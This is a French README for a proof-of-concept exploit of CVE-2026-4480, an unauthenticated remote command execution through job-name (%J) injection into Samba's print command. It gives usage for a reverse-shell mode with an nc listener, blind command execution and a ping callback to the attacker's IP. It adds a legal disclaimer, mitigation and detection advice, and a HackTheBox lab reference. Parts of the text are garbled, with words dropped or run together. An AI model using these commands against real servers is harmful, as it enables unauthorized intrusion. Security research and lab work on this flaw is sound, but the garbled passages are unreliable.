
Preuve de concept d'exploitation pour CVE-2026-4480, une exécution de commandes à distance non authentifiée dans le sous-système d'impression de Samba via une injection %J. Inclut des modes de shell inversé et d'exécution de commandes aveugle, avec des conseils de détection et d'atténuation.
%J)Important — Lisez ceci en premier :
Ce dépôt etexploit.pysont fournis uniquement à des fins éducatives et de recherche. N'utilisez pas ce code contre des systèmes, réseaux ou services pour lesquels vous ne disposez pas d'une autorisation explicite et écrite. L'accès non autorisé à des systèmes informatiques est illégal et contraire à l'éthique. En utilisant ce code, vous acceptez de respecter les lois applicables et les politiques institutionnelles.
Exécution de commande à distance non authentifiée dans le sous-système d'impression de Samba. Lorsqu'un travail d'impression termine le spooling, Samba exécute la print command configurée via system(), en substituant %s (chemin du fichier spool) et %J (nom du travail fourni par le client) dans la chaîne. Avant le correctif, le nom du travail était passé avec la seule transformation ' → et rien d'autre, donc , , , espaces, , et les backticks atteignent tous le shell. Une qui référence est donc un point d'injection shell, et puisque les invités peuvent soumettre des travaux d'impression, le problème est .
_|;&<>print command%Jprint command externe qui référence %J (style printing = sysv). printing = cups / iprint passent par l'API CUPS et ne sont pas affectés.sudo apt install python3-samba
print command référence %J.python3 exploit.py <rhost> <lhost> <lport> [-P PRINTER] [-c CMD]
| Argument / option | Signification |
|---|---|
rhost | Hôte / IP Samba cible |
lhost | Votre IP d'écoute |
lport | Votre port d'écoute |
-P, --printer | Nom du partage d'imprimante invité (défaut : HP-Reception) |
-c, --cmd | Exécuter une commande arbitraire au lieu d'un shell inversé |
# terminal 1: listener
nc -lvnp 4444
# terminal 2: fire the exploit
python3 exploit.py 10.129.244.177 10.10.14.100 4444
Vous devriez récupérer un shell en tant que compte de service d'impression (p. ex. nobody).
python3 exploit.py 10.129.244.177 x x -c 'id > /dev/shm/o 2>&1'
Parce que l'exécution est aveugle (la commande s'exécute côté serveur et ne renvoie rien sur le canal RPC), confirmez-la d'abord hors bande, par exemple un rappel ICMP que vous surveillez avec tcpdump -ni tun0 icmp :
python3 exploit.py 10.129.244.177 x x -c 'ping -c 3 10.10.14.100'
print command = /usr/local/bin/print-helper %s '%J',
supprimez %J, ou passez à printing = cups.smbd (sh/bash/nc/python/curl) et documentez les noms
contenant des métacaractères shell.J'ai créé une machine sur HackTheBox appelée Abducted pour montrer la vulnérabilité et vous donner un exemple pratique de la façon dont les attaquants pourraient l'exploiter dans un environnement mal configuré.